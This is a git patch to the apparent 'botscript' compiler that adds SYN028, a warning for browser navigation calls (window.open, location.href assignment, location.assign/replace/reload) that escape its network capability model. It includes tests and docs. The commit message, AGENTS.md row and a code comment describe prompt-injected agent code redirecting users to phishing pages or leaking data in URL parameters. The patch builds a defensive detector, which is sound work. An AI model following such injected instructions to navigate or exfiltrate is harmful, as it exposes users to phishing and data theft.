From 8c9e7ec0ca76d81927991c438f75aead5495a2d1 Mon Sep 17 00:00:00 2001 From: Marcelo Farias Date: Fri, 19 Jun 2026 07:38:09 -0300 Subject: [PATCH 1/4] =?UTF-8?q?feat(compiler):=20SYN028=20=E2=80=94=20warn?= =?UTF-8?q?=20on=20window.open()=20and=20location.*=20navigation=20bypass?= =?UTF-8?q?=20(=3Fbs=200.7+,=20closes=20#183)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds SYN028 to the net-bypass family: - location.href = url — full-page navigation (GET-equivalent) - location.assign(url), location.replace(url), location.reload() — navigation calls - window.open(url), globalThis.open(url), self.open(url) — new browsing context + HTTP request All trigger real network activity invisible to the capability model (no uses { net } covers any of them). Completes the net-bypass series after SYN027 (postMessage). Security angle: prompt-injected content can redirect users to phishing pages via location.href or exfiltrate data as URL parameters via window.open — harder to intercept than fetch() (no ServiceWorker intercept, no CSP connect-src by default). Detection: - `location` ident (not preceded by `.`/`?.`), followed by `.`/`?.`, then: - `href` followed by `=` (lexer kind "eq", precise — excludes == and ===) - `assign`/`replace`/`reload` followed by `(` or `?.(` - `open` ident preceded by `.`/`?.` from ambient receiver (window/globalThis/self), where that receiver is not itself a member access Excluded: obj.location.* (non-ambient), obj.window.open (non-ambient receiver), fn/function/function* declarations, method shorthands, unsafe {}/unsafe fn bodies. Wired through: error-codes registry, MCP explain, error-codes.test.ts allowlist, MCP KNOWN_CODES contract, AGENTS.md diagnostic table, README.md explain list. 32 tests in packages/compiler/tests/syn028-check.test.ts. Full suite: 1512/1512. Co-Authored-By: Claude Sonnet 4.6 --- AGENTS.md | 1 + README.md | 2 +- packages/compiler/src/error-codes.ts | 30 ++ packages/compiler/src/passes/syn-check.ts | 191 ++++++++++ packages/compiler/tests/error-codes.test.ts | 2 +- packages/compiler/tests/syn028-check.test.ts | 371 +++++++++++++++++++ packages/mcp/src/explanations.ts | 44 +++ packages/mcp/tests/server.test.ts | 1 + 8 files changed, 640 insertions(+), 2 deletions(-) create mode 100644 packages/compiler/tests/syn028-check.test.ts diff --git a/AGENTS.md b/AGENTS.md index 01484c34..ee3d6e99 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -214,6 +214,7 @@ parse the resulting `{ ok: false, diagnostics: [...] }` envelope. | SYN019 | (0.7+, warning) A fn body calls `crypto.getRandomValues(buf)` or `crypto.randomUUID()` (including optional-chain forms `crypto?.getRandomValues(buf)` and optional-call forms `crypto.getRandomValues?.(buf)`). These calls generate cryptographic randomness at runtime but are invisible to botscript's capability model: `uses { random }` covers `random.*` stdlib calls (`random.next()`, `random.int()`), not the `crypto` global. A fn that calls these methods has an undeclared randomness dependency — tests cannot control the output and callers cannot observe the dependency from the fn header. Detection: `crypto` ident not preceded by `.`/`?.`, followed by `.` or `?.`, followed by `getRandomValues` or `randomUUID`, followed by `(` or `?.(`. Member calls (`obj.crypto.getRandomValues(...)`), non-randomness members (e.g. `crypto.subtle.digest(...)`), bare references, and `fn`/`function` declarations named `crypto` are excluded. `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. | Use `random.next()` or `random.int(min, max)` from the `random` stdlib with `uses { random }` when general randomness is sufficient. If cryptographic randomness or UUIDs are genuinely required, wrap in `unsafe "uses crypto for " { crypto.getRandomValues(buf) }`. | | SYN022 | (0.7+, warning) A fn body accesses `process.argv`, `process.cwd()`, `process.platform`, `process.arch`, `process.pid`, `process.ppid`, `process.version`, `process.versions`, `process.hrtime()`, `process.uptime()`, `process.memoryUsage()`, `process.cpuUsage()`, or `process.resourceUsage()`. These read ambient Node.js process state at runtime — OS identity, process tree, memory, CPU — invisible to botscript's capability model. Unlike `process.env` (SYN005) and `process.exit` (SYN006), which cover configuration and termination respectively, SYN022 targets the remaining ambient introspection surface. Detection: `process` ident not preceded by `.`/`?.`, followed by `.` or `?.`, member in the ambient-state set, optionally followed by `(` or `?.(`. Bare `process.*` references without a trailing `(` still fire. `obj.process.*` member calls, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. `process.env` and `process.exit` are handled by SYN005/SYN006 and excluded here. | Pass the required ambient value as an explicit fn parameter so the dependency is visible in the call signature and tests can inject a mock. If direct `process.*` access is required at a bootstrap entry point, wrap in `unsafe "reads process state for " { process.argv }`. | | SYN023 | (0.7+, warning) A fn body accesses a high-concern `navigator.*` member: `geolocation`, `clipboard`, `mediaDevices`, `serviceWorker`, `permissions`, `onLine`, `userAgent`, `language`, `languages`, `platform`, `hardwareConcurrency`, `deviceMemory`, `connection`, or `wakeLock`. These expose ambient browser capability state — location, clipboard, media devices, background service workers, network connectivity, browser identity, and hardware specs — invisible to botscript's capability model. Detection: `navigator` ident not preceded by `.`/`?.`, followed by `.` or `?.`, member in the high-concern set. `obj.navigator.*` member calls, `fn`/`function`/`function*` declarations named `navigator`, members not in the listed set, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. | Pass the required value as an explicit fn parameter so callers can see the dependency and tests can inject a mock. If direct `navigator.*` access is required, wrap in `unsafe "accesses navigator. for " { navigator. }`. | +| SYN028 | (0.7+, warning) A fn body uses a browser navigation API: `window.open()`, `globalThis.open()`, `self.open()`, `location.href = url`, `location.assign()`, `location.replace()`, or `location.reload()`. All cause real network activity at runtime but are invisible to botscript's capability model — none are covered by `uses { net }`, `reads {}`, or `writes {}`. In bot/agent contexts, prompt-injected content can redirect users to phishing pages or exfiltrate data as URL parameters via these APIs. Detection: `location` ident (not preceded by `.`/`?.`) followed by `.`/`?.` and `href =`, `assign(`, `replace(`, or `reload(`; OR `open` ident preceded by `.`/`?.` from an ambient receiver (`window`, `globalThis`, `self` — not itself a member access). `obj.location.*`, `obj.window.open`, fn/function/function* declarations named `location` or `open`, method shorthands, `unsafe {}` blocks, and `unsafe "reason" fn` bodies are excluded. | Pass a navigation callback as an explicit parameter so callers can see the dependency, or wrap in `unsafe "navigates for " { location.href = url }` when direct navigation is required at an entry point. | | INT002 | (0.7+) A fn declares `intent: "pure"` but its body directly references a stdlib capability (e.g. `http.get`, `fs.read`). Pure intent is enforced at the body level as well as the header. | Remove the stdlib call from the body, or change the intent. | | INT003 | (0.7+) A fn declares `intent: "idempotent"` but also has `uses { random }` or `uses { time }`. Both capabilities produce different values on each call, making the function non-idempotent. Only `random` and `time` are flagged; other capabilities are not structurally flagged by this check (INT003 is a narrow heuristic, not a proof of idempotence). | Remove `random`/`time` from `uses {}`, or change the intent. | | INT004 | (0.7+) A fn declares `intent: "idempotent"` but its body directly references `random` or `time` without declaring them. Under-declaration variant of INT003 — fires when INT003 does not. | Remove the non-idempotent call from the body, or declare the capability and remove the idempotent intent. | diff --git a/README.md b/README.md index 9a05c460..ab67d979 100644 --- a/README.md +++ b/README.md @@ -178,7 +178,7 @@ claude mcp add botscript -- npx -y @mbfarias/botscript-mcp | ----------- | -------------------------------------- | --------------------------------------------------------------------------------------------------- | | `primer` | (no args) | The canonical language primer (same text the `?primer` directive emits). | | `transform` | `{ source: string, filename?: string }` | `{ ok: true, code, forms, version, warnings: [...] }` on success, or `{ ok: false, diagnostics: [...] }` on failure. `warnings` is an array of non-blocking diagnostics (e.g. CAP003). | -| `explain` | `{ code: string }` | Long-form explanation for any stable diagnostic code (`ALI001`, `ALI002`, `ALI003`, `BS001`, `BS002`, `CAP001`–`CAP003`, `DEP001`–`DEP004`, `EFF002`–`EFF004`, `FMT001`, `INT001`–`INT005`, `MAT001`–`MAT004`, `RES001`, `RES002`, `SYN001`, `SYN002`, `SYN003`, `SYN004`, `SYN005`, `SYN006`, `SYN007`, `SYN008`, `SYN010`, `SYN011`, `SYN012`, `SYN013`, `SYN014`, `SYN016`, `SYN017`, `SYN018`, `SYN019`, `SYN022`, `SYN023`, `THR001`–`THR004`, `UNS001`–`UNS005`, `VER001`–`VER003`) plus a fails/passes example pair. | +| `explain` | `{ code: string }` | Long-form explanation for any stable diagnostic code (`ALI001`, `ALI002`, `ALI003`, `BS001`, `BS002`, `CAP001`–`CAP003`, `DEP001`–`DEP004`, `EFF002`–`EFF004`, `FMT001`, `INT001`–`INT005`, `MAT001`–`MAT004`, `RES001`, `RES002`, `SYN001`, `SYN002`, `SYN003`, `SYN004`, `SYN005`, `SYN006`, `SYN007`, `SYN008`, `SYN010`, `SYN011`, `SYN012`, `SYN013`, `SYN014`, `SYN016`, `SYN017`, `SYN018`, `SYN019`, `SYN022`, `SYN023`, `SYN028`, `THR001`–`THR004`, `UNS001`–`UNS005`, `VER001`–`VER003`) plus a fails/passes example pair. | A bot's loop becomes deterministic: `transform` → if `ok=false`, read `diagnostics[0].code` → `explain(code)` → apply `rewrite` → `transform` again. diff --git a/packages/compiler/src/error-codes.ts b/packages/compiler/src/error-codes.ts index 870026a4..983009ce 100644 --- a/packages/compiler/src/error-codes.ts +++ b/packages/compiler/src/error-codes.ts @@ -1085,6 +1085,36 @@ const E: Record = { " return userAgent\n" + "}", }, + SYN028: { + code: "SYN028", + title: "fn uses a navigation API that bypasses the net capability model (?bs 0.7+)", + rule: + "window.open(), globalThis.open(), self.open(), location.href=, location.assign(), " + + "location.replace(), and location.reload() all cause real network activity at runtime; " + + "none are covered by uses { net }, reads {}, or writes {} — callers cannot see the dependency", + idiom: + "pass a navigation callback as an explicit parameter so the dependency is visible in the fn header, " + + "or wrap in unsafe \"navigates for \" { ... } when direct navigation is required at an entry point", + rewrite: "fn name(navigate: (url: string) -> void, ...) -> ...", + example: + "// SYN028: location.href = url bypasses the capability model\n" + + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url // SYN028\n" + + "}\n\n" + + "// SYN028: window.open() opens a new context without net declaration\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank') // SYN028\n" + + "}\n\n" + + "// fix: pass navigation as a parameter\n" + + "fn redirectTo(navigate: (url: string) -> void, url: string) -> void {\n" + + " navigate(url)\n" + + "}\n\n" + + "// or use unsafe when navigation is genuinely required at an entry point\n" + + "fn redirectTo(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}", + }, DEP001: { code: "DEP001", title: "fn transitively reads a resource category not declared in its header", diff --git a/packages/compiler/src/passes/syn-check.ts b/packages/compiler/src/passes/syn-check.ts index d3d1ad24..6158b16d 100644 --- a/packages/compiler/src/passes/syn-check.ts +++ b/packages/compiler/src/passes/syn-check.ts @@ -182,6 +182,22 @@ * named `navigator`, member accesses not in the high-concern list above. * `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. * + * SYN028 A navigation API call was detected in a fn body (?bs 0.7+): + * - `window.open(url, ...)`, `globalThis.open(url, ...)`, `self.open(url, ...)` — + * opens a new browsing context and issues a real HTTP request; the URL is sent to + * the network without any `uses { net }` declaration in the fn header. + * - `location.href = url` — full-page navigation; equivalent to a GET request. + * - `location.assign(url)`, `location.replace(url)` — navigation without/with history. + * - `location.reload()` — reissues the current request. + * All of these cause real network activity but are invisible to the capability model. + * In bot/agent contexts, prompt-injected code can redirect users to phishing pages or + * exfiltrate data as URL parameters — harder to intercept than fetch() (no ServiceWorker, + * no CSP connect-src unless combined with navigate-to). + * Excluded: `obj.location.*` (location as a member of a local binding), + * `obj.window.open` (non-ambient receiver), fn/function/function* declarations + * named `location` or `open`, method shorthands. + * `unsafe {}` blocks and `unsafe "reason" fn` bodies are suppressed. + * * All checks share a single token scan per fn body. The outer loop runs once, * skipping nested fn bodies once. Per-token dispatch is a switch on tok.text * after a kind==="ident" guard. @@ -229,6 +245,10 @@ const SYN023_NAVIGATOR_MEMBERS = new Set([ "onLine", "userAgent", "language", "languages", "platform", "hardwareConcurrency", "deviceMemory", "connection", "wakeLock", ]); +// location.* members covered by SYN028 (navigation API bypass) +const SYN028_LOCATION_CALL_MEMBERS = new Set(["assign", "replace", "reload"]); +// Ambient global receivers for window.open() covered by SYN028 +const SYN028_AMBIENT_GLOBALS = new Set(["window", "globalThis", "self"]); export function passSynCheck(src: string, version: VersionInfo): SynCheckResult { if (!atLeast(version.resolved, "0.7")) return { code: src, warnings: [] }; @@ -255,6 +275,7 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult const syn019 = getErrorCode("SYN019")!; const syn022 = getErrorCode("SYN022")!; const syn023 = getErrorCode("SYN023")!; + const syn028 = getErrorCode("SYN028")!; // Collect char-offset ranges where all SYN checks are suppressed: // 1. `unsafe "reason" { ... }` expression blocks — explicit acknowledgment. @@ -1683,6 +1704,176 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult break; } + // ── SYN028: location.href=, location.assign/replace/reload(), window.open() ─ + case "location": { + // Exclude non-ambient member access: obj.location.href = ... + const prevIdx28loc = prevSignificant(tokens, i - 1); + const prev28loc = tokens[prevIdx28loc]; + if (prev28loc && ((prev28loc.kind === "punct" && prev28loc.text === ".") || prev28loc.kind === "questionDot")) + continue; + + // Exclude fn/function/function* declarations named location + if (prev28loc && prev28loc.kind === "keyword" && prev28loc.text === "fn") continue; + if (prev28loc && prev28loc.kind === "ident" && prev28loc.text === "function") continue; + if (isFunctionStarDecl(tokens, prevIdx28loc)) continue; + + // Must be followed by `.` or `?.` + const dotIdx28loc = nextSignificant(tokens, i + 1); + const dotTok28loc = tokens[dotIdx28loc]; + const isDot28loc = dotTok28loc && dotTok28loc.kind === "punct" && dotTok28loc.text === "."; + const isOptChain28loc = dotTok28loc && dotTok28loc.kind === "questionDot"; + if (!isDot28loc && !isOptChain28loc) continue; + + // Member must be href, assign, replace, or reload + const memberIdx28loc = nextSignificant(tokens, dotIdx28loc + 1); + const memberTok28loc = tokens[memberIdx28loc]; + if (!memberTok28loc || memberTok28loc.kind !== "ident") continue; + const memberName28loc = memberTok28loc.text; + + const sep28loc = isOptChain28loc ? "?." : "."; + + if (memberName28loc === "href") { + // Must be followed by `=` (assignment). The lexer emits `=` as kind "eq", + // while `==` and `===` are kind "operator" — so checking for "eq" is precise. + const afterHrefIdx = nextSignificant(tokens, memberIdx28loc + 1); + const afterHref = tokens[afterHrefIdx]; + if (!afterHref || afterHref.kind !== "eq") continue; + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const loc28href = locationOf(src, tok.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28href.line, + column: loc28href.column, + start: tok.start, + end: afterHref.end, + message: + `fn '${decl.name}' assigns location${sep28loc}href — ` + + `location.href = url triggers a full-page navigation, invisible to the capability model; ` + + `no uses { net } declaration covers this network-equivalent operation; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "navigates to " { location${sep28loc}href = url }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + + if (SYN028_LOCATION_CALL_MEMBERS.has(memberName28loc)) { + // Must be followed by `(` or `?.(` — confirming this is a call + let afterMemberIdx28loc = nextSignificant(tokens, memberIdx28loc + 1); + let afterMember28loc = tokens[afterMemberIdx28loc]; + let isCallOpt28loc = false; + if (afterMember28loc && afterMember28loc.kind === "questionDot") { + isCallOpt28loc = true; + afterMemberIdx28loc = nextSignificant(tokens, afterMemberIdx28loc + 1); + afterMember28loc = tokens[afterMemberIdx28loc]; + } + if (!afterMember28loc || !(afterMember28loc.kind === "open" && afterMember28loc.text === "(")) continue; + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const callSep28loc = isCallOpt28loc ? "?." : ""; + const loc28call = locationOf(src, tok.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28call.line, + column: loc28call.column, + start: tok.start, + end: afterMember28loc.start + 1, + message: + `fn '${decl.name}' calls location${sep28loc}${memberName28loc}${callSep28loc}() — ` + + `location.${memberName28loc} triggers navigation, invisible to the capability model; ` + + `no uses { net } declaration covers this network-equivalent operation; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "navigates for " { location${sep28loc}${memberName28loc}${callSep28loc}(url) }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + + continue; + } + + case "open": { + // Only detect window.open / globalThis.open / self.open — not bare open() (too noisy). + const prevIdx28open = prevSignificant(tokens, i - 1); + const prev28open = tokens[prevIdx28open]; + + // Must be preceded by `.` or `?.` + if (!prev28open || !( + (prev28open.kind === "punct" && prev28open.text === ".") || + prev28open.kind === "questionDot" + )) continue; + + // The token before the dot must be an ambient global (window/globalThis/self) + // and must not itself be a member access (not preceded by `.`). + const receiverIdx28 = prevSignificant(tokens, prevIdx28open - 1); + const receiver28 = tokens[receiverIdx28]; + if (!receiver28 || receiver28.kind !== "ident" || !SYN028_AMBIENT_GLOBALS.has(receiver28.text)) continue; + const beforeReceiverIdx = prevSignificant(tokens, receiverIdx28 - 1); + const beforeReceiver = tokens[beforeReceiverIdx]; + if (beforeReceiver && ( + (beforeReceiver.kind === "punct" && beforeReceiver.text === ".") || + beforeReceiver.kind === "questionDot" + )) continue; + + // Must be followed by `(` or `?.(` — confirming this is a call + let afterIdx28open = nextSignificant(tokens, i + 1); + let afterTok28open = tokens[afterIdx28open]; + let isOpt28open = false; + if (afterTok28open && afterTok28open.kind === "questionDot") { + isOpt28open = true; + afterIdx28open = nextSignificant(tokens, afterIdx28open + 1); + afterTok28open = tokens[afterIdx28open]; + } + if (!afterTok28open || !(afterTok28open.kind === "open" && afterTok28open.text === "(")) continue; + + // Exclude method shorthands: { open(url) { ... } } + if (afterTok28open.matchedAt !== undefined) { + const afterParen28open = tokens[nextSignificant(tokens, afterTok28open.matchedAt + 1)]; + if ( + afterParen28open && + ((afterParen28open.kind === "open" && afterParen28open.text === "{") || + (afterParen28open.kind === "punct" && afterParen28open.text === ":")) + ) continue; + } + + if (isInsideRange(tok.start, unsafeRanges)) continue; + + const receiverName28 = receiver28.text; + const dotSep28open = prev28open.kind === "questionDot" ? "?." : "."; + const callSep28open = isOpt28open ? "?." : ""; + const loc28open = locationOf(src, receiver28.start); + warnings.push({ + code: "SYN028", + severity: "warning", + file: null, + line: loc28open.line, + column: loc28open.column, + start: receiver28.start, + end: afterTok28open.start + 1, + message: + `fn '${decl.name}' calls ${receiverName28}${dotSep28open}open${callSep28open}() — ` + + `window.open() opens a new browsing context and issues an HTTP request, invisible to the capability model; ` + + `no uses { net } declaration covers this network-equivalent operation; ` + + `pass a navigation callback as a parameter so callers can see the dependency, ` + + `or wrap in unsafe "opens window for " { ${receiverName28}${dotSep28open}open${callSep28open}(url) }`, + rule: syn028.rule, + idiom: syn028.idiom, + rewrite: syn028.rewrite, + }); + break; + } + // ── SYN010: setTimeout / setInterval / queueMicrotask ──────────────── default: { if (!TIMER_GLOBALS.has(tok.text)) continue; diff --git a/packages/compiler/tests/error-codes.test.ts b/packages/compiler/tests/error-codes.test.ts index 5d061660..925c7e47 100644 --- a/packages/compiler/tests/error-codes.test.ts +++ b/packages/compiler/tests/error-codes.test.ts @@ -15,7 +15,7 @@ describe("error-code registry", () => { "INT001", "INT002", "INT003", "INT004", "INT005", "MAT001", "MAT002", "MAT003", "MAT004", "RES001", "RES002", - "SYN001", "SYN002", "SYN003", "SYN004", "SYN005", "SYN006", "SYN007", "SYN008", "SYN010", "SYN011", "SYN012", "SYN013", "SYN014", "SYN016", "SYN017", "SYN018", "SYN019", "SYN022", "SYN023", + "SYN001", "SYN002", "SYN003", "SYN004", "SYN005", "SYN006", "SYN007", "SYN008", "SYN010", "SYN011", "SYN012", "SYN013", "SYN014", "SYN016", "SYN017", "SYN018", "SYN019", "SYN022", "SYN023", "SYN028", "THR001", "THR002", "THR003", "THR004", "UNS001", "UNS002", "UNS003", "UNS004", "UNS005", "VER001", "VER002", "VER003", diff --git a/packages/compiler/tests/syn028-check.test.ts b/packages/compiler/tests/syn028-check.test.ts new file mode 100644 index 00000000..f4caa243 --- /dev/null +++ b/packages/compiler/tests/syn028-check.test.ts @@ -0,0 +1,371 @@ +/** + * Tests for SYN028: navigation API bypass detection (?bs 0.7+). + * + * Covers: + * - location.href = url (assignment) + * - location.assign(url), location.replace(url), location.reload() (calls) + * - window.open(url), globalThis.open(url), self.open(url) (ambient-global calls) + */ + +import { describe, expect, it } from "vitest"; +import { transform } from "../src/index.js"; + +function compile(src: string) { + return transform(src, {}); +} + +// --------------------------------------------------------------------------- +// location.href = url +// --------------------------------------------------------------------------- + +describe("SYN028 — location.href assignment", () => { + it("fires on location.href = url", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location?.href = url (optional-chain receiver)", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location?.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("warning message includes fn name and location.href", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("redirectTo"); + expect(w!.message).toContain("location"); + expect(w!.message).toContain("href"); + expect(w!.severity).toBe("warning"); + }); + + it("does NOT fire on location.href comparison (==, ===)", () => { + const src = + "?bs 0.7\n" + + "fn isRoot() -> bool {\n" + + " return location.href === '/'\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on obj.location.href = url (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn go(ctx: any, url: string) -> void {\n" + + " ctx.location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire below ?bs 0.7", () => { + const src = + "?bs 0.1\n" + + "fn f(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe block", () => { + const src = + "?bs 0.7\n" + + "fn redirectTo(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on bare location reference (no member access)", () => { + const src = + "?bs 0.7\n" + + "fn getRef() -> any {\n" + + " return location\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on location.search or other non-navigation members", () => { + const src = + "?bs 0.7\n" + + "fn getQuery() -> string {\n" + + " return location.search\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// location.assign(), location.replace(), location.reload() +// --------------------------------------------------------------------------- + +describe("SYN028 — location method calls", () => { + it("fires on location.assign(url)", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.replace(url)", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.replace(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.reload()", () => { + const src = + "?bs 0.7\n" + + "fn refresh() -> void {\n" + + " location.reload()\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location?.assign(url) — optional-chain receiver", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location?.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on location.assign?.(url) — optional-call form", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign?.(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("warning message includes fn name and method name", () => { + const src = + "?bs 0.7\n" + + "fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("goTo"); + expect(w!.message).toContain("assign"); + expect(w!.severity).toBe("warning"); + }); + + it("does NOT fire on obj.location.assign(url) (non-ambient)", () => { + const src = + "?bs 0.7\n" + + "fn go(ctx: any, url: string) -> void {\n" + + " ctx.location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn goTo(url: string) -> void {\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on fn declaration named location", () => { + const src = + "?bs 0.7\n" + + "fn location(url: string) -> void { }\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on function declaration named location", () => { + const src = + "?bs 0.7\n" + + "function location(url: string) { }\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// window.open(), globalThis.open(), self.open() +// --------------------------------------------------------------------------- + +describe("SYN028 — window.open() and ambient-global variants", () => { + it("fires on window.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on globalThis.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " globalThis.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on self.open(url)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " self.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("fires on window?.open(url) — optional-chain receiver", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window?.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + }); + + it("warning message includes fn name and window.open", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("openTab"); + expect(w!.message).toContain("window"); + expect(w!.message).toContain("open"); + expect(w!.severity).toBe("warning"); + }); + + it("does NOT fire on obj.window.open(url) (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(ctx: any, url: string) -> void {\n" + + " ctx.window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire on someObj.open(url) (non-ambient receiver)", () => { + const src = + "?bs 0.7\n" + + "fn openFile(fileHandle: any, path: string) -> void {\n" + + " fileHandle.open(path)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire below ?bs 0.7", () => { + const src = + "?bs 0.1\n" + + "fn f(url: string) -> void {\n" + + " window.open(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe block", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " unsafe \"opens help window\" { window.open(url, '_blank') }\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); + + it("does NOT fire inside an unsafe fn body", () => { + const src = + "?bs 0.7\n" + + "unsafe \"navigation entry point\" fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); + }); +}); + +// --------------------------------------------------------------------------- +// Registry +// --------------------------------------------------------------------------- + +describe("SYN028 registry", () => { + it("carries rule and rewrite from registry", () => { + const src = + "?bs 0.7\n" + + "fn f(url: string) -> void { location.href = url }\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w?.rule).toBeTruthy(); + expect(w?.rewrite).toBeTruthy(); + }); + + it("fires multiple SYN028s when multiple navigation APIs appear in one fn", () => { + const src = + "?bs 0.7\n" + + "fn f(url: string) -> void {\n" + + " location.href = url\n" + + " window.open(url, '_blank')\n" + + " location.assign(url)\n" + + "}\n"; + const result = compile(src); + expect(result.warnings.filter((w) => w.code === "SYN028").length).toBe(3); + }); +}); diff --git a/packages/mcp/src/explanations.ts b/packages/mcp/src/explanations.ts index 53475fb5..dc216c3c 100644 --- a/packages/mcp/src/explanations.ts +++ b/packages/mcp/src/explanations.ts @@ -1386,6 +1386,50 @@ export const EXPLANATIONS: Readonly> = { "}\n", }, }, + SYN028: { + code: "SYN028", + title: "fn uses a navigation API that bypasses the net capability model (?bs 0.7+)", + body: + "SYN028 